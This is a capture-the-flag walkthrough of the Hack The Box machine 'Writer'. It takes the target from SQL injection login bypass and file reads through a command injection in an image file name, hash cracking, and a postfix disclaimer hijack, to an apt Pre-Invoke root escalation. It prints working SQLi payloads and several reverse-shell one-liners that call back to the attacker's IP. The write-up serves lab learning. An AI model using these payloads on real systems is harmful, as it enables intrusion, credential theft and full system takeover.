Hack-The-Box-walkthrough[writer]
introduce
OS: Linux
Difficulty: Medium
Points: 30
Release: 31 Jul 2021
IP: 10.10.11.101
Enumeration
Nmap
1 | # Nmap 7.91 scan initiated Sun Aug 1 01:58:59 2021 as: nmap -vvv -p 22,80,139,445 -A -v -oN intial.nmap 10.10.11.101 |
Looks like we have SSH,SMB and WEB. So let’s start with SMB
SMB
Enum4linux
1 | Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sun Aug 1 02:04:47 2021 |
We have tons of information.
Especially the username using RID Cycling So let’s create a user.txt
1 | ┌──(root💀kali)-[~/hackthebox/machine/writer] |
smbmap
1 | kali@kali:~/HackTheBox/Writer$ smbmap -u '' -p '' -R -H 10.10.11.101 |
Looks like annoymous login is no good as we can read any shares.
WEB
Visiting Website
Visiting the website it looks like a normal blog website
At the Bottom you can see a refference to writer.htb so let’s add it in /etc/hosts probably this is not required but it’s better to be safe.
Directory Fuzzing
1 | kali@kali:~/HackTheBox/Writer$ ffuf -u http://10.10.11.101/FUZZ -w /usr/share/wordlists/dirb/big.txt -t 200 -c |
Looks like we have few intresting directories.
let’s first visit administrative.
Crawling through the directories
Looks like a normal login page.
/dashboard redirects to the homepage and /about has nothing intresting.
/contact has the form looks like a dead form which requests with the get request but give 404 response.
So the only good enpoint is the /administrative
we have the user so we can spray the password but before that let’s see if it has any sql injections.
Sql-Injection
so I tried doing some basic sqlinjection payload at the login form.
1 | kali@kali:~/HackTheBox/Writer$ cat r.txt |
The above request is captured by the burpsuite and UNAME and PASS are the names of the values to be fuzzed.
1 | kali@kali:~/HackTheBox/Writer$ ffuf -X POST -request r.txt -w /usr/share/seclists/Fuzzing/SQLi/Login-Bypass.txt:UNAME -w /usr/share/seclists/Fuzzing/SQLi/Login-Bypass.txt:PASS -t 200 -c -mode pitchfork -mc all -request-proto http -fs 790 |
Looks like we have few payload working try any payload and you will be logged in as admin.
so let’s enumerate this more while running sqlmap in background.
Sqlmap
So I intercepted the post request using the burpsuite and save it to a local file.
1 | kali@kali:~/HackTheBox/Writer$ cat r.txt |
After that I Ran sqlmap on that login form.
1 | kali@kali:~/HackTheBox/Writer$ sqlmap -r r.txt --dbs --batch --level 5 --risk 3 |
Looks like we have SQL Injection but we cannot retrive database names which is annoying so let’s try and read some files.
So we know that the it’s time based blind sql injection so it will take up lot of time to get long file so I decided to check which payload sqlmap uses for the injection and play around with that payload manually to read some files.
I used wireshark to get the exact payload that sqlmap used I used wireshark to capture traffic on my tun0 interface which looked like.
Then I picked up a POST request to /administrative endpoint that has a payload and followed it’s TCP stream.
and we have the payload.
1 | UNAME%27%20AND%20%28SELECT%201088%20FROM%20%28SELECT%28SLEEP%281-%28IF%28ORD%28MID%28%28IFNULL%28CAST%28HEX%28LOAD_FILE%280x2f6574632f686f73746e616d65%29%29%20AS%20NCHAR%29%2C0x20%29%29%2C6%2C1%29%29%3E57%2C0%2C1%29%29%29%29%29ZDPK%29%20AND%20%27GIYW%27%3D%27GIYW |
URL Decoding the payload will make it more redable.
1 | UNAME' AND (SELECT 1088 FROM (SELECT(SLEEP(1-(IF(ORD(MID((IFNULL(CAST(HEX(LOAD_FILE(0x2f6574632f686f73746e616d65)) AS NCHAR),0x20)),6,1))>57,0,1)))))ZDPK) AND 'GIYW'='GIYW |
and there is still few hex numbers in the there so let’s get them sorted also.
1 | kali@kali:~/HackTheBox/Writer$ python3 |
So the final payload looks like as follow.
1 | UNAME' AND (SELECT 1088 FROM (SELECT(SLEEP(1-(IF(ORD(MID((IFNULL(CAST(HEX(LOAD_FILE(/etc/hostname)) AS NCHAR), )),6,1))>57,0,1)))))ZDPK) AND 'GIYW'='GIYW |
so it is still the time based sql injection which can take a lot of time so, we have to think of some other techinique to get the files. One famous and extremly fast technique is using union statement so let’s create the cascade of the main sql query.
Exploitation
Creating fast Working SQL query
So we know we will use union so we will use something like UNION ALL SELECT and then we know we have to use function readfile to readfiles from remote filesystem.
so that being said let’s create a query.
step 1 -> terminiating the ongoin query
We have to use single quotes to terminate the query.
oops ‘
step 2 -> Using UNION statement:
UNION ALL SELECT
step 3 -> Adjusting No. of rows.
This is probably the trickiest step of all the steps.
As we know that the table will have at leat two columns uname and password it’s best to start with that. so let’s try that.
So looks like our no. of columns is mismatched as we get incorrect credential when we get the no. of colums equal to the no. of colums in table we should be logged in.
Trying for all number of columns we get hit on 6 columns.
so now we know the number of columns.
step 4 -> Which column to inject so it returns the output.
So the answer to this lies in the above photo upon succesfully injecting the query we get the output ‘welcome 1’ so we know the content of column 2 is displayed so we have to inject that column.
0,{SOME SQL CODE},2,3,4,5
step 5 -> Terminate the query
after you SQL query just terminate the query so it doesn’t spit out the error.
Final SQL query
Combining all the above steps to generate the sql query we get something like this.
1 | oops' UNION ALL SELECT 0,LOAD_FILE('/etc/passwd'),2,3,4,5; -- |
So let’s try that query.
And Boom we have fast SQL query to read files.
So Now we can try few things we can try and search for passwords for most part we don’t have much on this. [THERE IS THE UNINTENDED WAY BUT WE WILL KEEP DISTANCE FROM IT AS IT’S BASICALLY BRUTEFORCING]
So another thing we could do is just look for the source code of the website and try to find vuln in that.
So let’s see the apache conf file to find the root directory of the installation of apache server.
Looks like the root directory is /var/www/writer.htb/writer/ and we have the path to .wsgi file so let’s look at that first. /var/www/writer.htb/writer.wsgi
writer.wsgi
1 | Welcome #!/usr/bin/python |
so we know that it has init.py in app folder so let’s hunt for that.
You find that file on /var/www/writer.htb/writer/init.py
init.py
1 | #!/usr/bin/env python3 |
WOAH it’s a long file so let’s just glaze through it and see if we can find something intresting.
Just looking at the imported library we can see that it is importing OS so that’s intresting so just look for the instance of OS only to see if we have code execution somewhere.
Looking for os.system which basically executes the bash commands we find this piece of code.
1 | if request.form.get('image_url'): |
So looks like we have command injection in the name of the image as it is sending the filename directly to system command without sanatizing it but we have to be careful about the speacial chars so it doesn’t break the command in between so I will base64 encode it to be safe.
Generating file with malicious name
1 | ┌──(root💀kali)-[~/hackthebox/machine/writer] |
Now that we have that file we have to upload it but before doing that start your nc listener.
So now pick any of exsisting story and edit it and change the image file with your image file.
After you did that then you have to trigger that mv {} {} command by going to edit and changing the image url.
Now intercept the the edit of the same story with the burp.
Now change the higlighted feild with the name of the malicious file.
But you have to give the local location of the filename so you know the base directory of the installation and from ffuf directorty fuzzing above we know that images are saved in /static.
and boom you can see our file so let’s write a local path for this file.
1 | file:///var/www/writer.htb/writer/static/img/1.jpg; `echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zMS8yMjMzIDA+JjEn | base64 -d | bash `;# |
so let’s change this as image url and add ‘#’ sign at end so it ignores everything after our commands get executed.
And boom we have the REVSHELL.
1 | ┌──(root💀kali)-[~/hackthebox/machine/writer] |
Getting user
Enumeration
Looking for services just on localhost
ss -tupln
1 | ss -tupln |
So we have mysql db so let’s try to read it’s conf files.
1 | www-data@writer:$ cd /etc/mysql |
we have username and password to login so let’s try that.
1 | www-data@writer:/etc/mysql$ mysql -u djangouser -h 127.0.0.1 -p |
So we have kyle hash now let’s try to crack it.
1 | kali@kali:~/HackTheBox/Writer$ hashcat -a 0 -m 10000 hash --wordlist /usr/share/wordlists/rockyou.txt |
and we have the password let’s ssh as kyle.
Kyle to John
1 | ┌──(root💀kali)-[~/hackthebox/machine/writer] |
Enumeration
Pspy64
1 | pipe -n dfilt -t unix flags=Rq user=john argv=/etc/postfix/disclaimer -f ${sender} -- ${recipient} |
This were the few intresting thing from pspy64 so now let’s understand how sendmail works.
There are few files we have to check to understand what is happening around so first let’s check disclaimer.
1 | kyle@writer:~$ cat disclaimer |
Looks like we have a bash script that gets executed to get some sanity checks when we send a mail so let’s add a revshell line in it and then trigger it.
EDITED DISCLAIMER FILE.
1 | kyle@writer:~$ cat disclaimer |
Now let’s copy this file to /etc/postfix.
And then try to send mail you can do it manually using nc and telnet.
1 | kyle@writer:/dev/shm$ cp disclaimer /etc/postfix/disclaimer |
But to be fast and not doing it repeatedly I wrote a simple python script to do this stuff for me.
- send.py
1 | #!/usr/bin/env python3 |
and then run the following command.
1 | kyle@writer:/tmp$ cp disclaimer /etc/postfix/disclaimer && python3 send.py |
the disclaimer is the edited disclaimer file and then sending mail.
and boom we have shell as john.
1 | ┌──(root💀kali)-[~/hackthebox/machine/writer] |
PrivESC
Stabilizing the shell
1 | john@writer:/var/spool/postfix$ cd /home/john |
Now we have john ssh so let’s login as john
1 | kali@kali:~/HackTheBox/Writer$ ssh -i id_rsa john@writer.htb |
Enumeration
We can see that we are in management group so let’s see what files and directory we can access.
1 | john@writer:/etc/apt$ find / -group management 2>/dev/null |
oh this is intresting.
searching for ‘writable files in /etc/apt/apt.conf.d privESC’ in google we can find the below article which explains gretaly what we have to do to abuse that for privESC.
https://www.hackingarticles.in/linux-for-pentester-apt-privilege-escalation/
Looking through the article there should be something running ‘sudo apt-get update’ command so let’s see if there is anything running that command using pspy64.
1 | john@writer:/home/kyle$ ./pspy64s -pf -i 1000 |
So now we have the prerequiste satify so we can start with exploitation.
Exploitation
so we have can create a malicious line in /etc/apt/apt.conf.d/ to get command execution so let’s do that before that spin up the listener on your fav port.
And the let’s create a file that gets us the reverse shell.
1 | john@writer:~$ echo 'apt::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.31 2234 >/tmp/f"};' > /etc/apt/apt.conf.d/oops |
and boom we have the shell.
1 | ┌──(root💀kali)-[~/hackthebox/machine/writer] |
Now we are root let’s get all the flags.
Summary of knowledge
- smb enumeration
- Directory Fuzzing
- Sql Injection fuzz
- Sql Injection payload modify
- Sql Injection to read files
- python code execution to get rev shell
- hashcat crack hash
- Pspy64 enum process
- get rev shell through DISCLAIMER FILE and send mail
- PrivESC through apt privilege escalation
Contact me
- QQ: 1185151867
- twitter: https://twitter.com/fdlucifer11
- github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…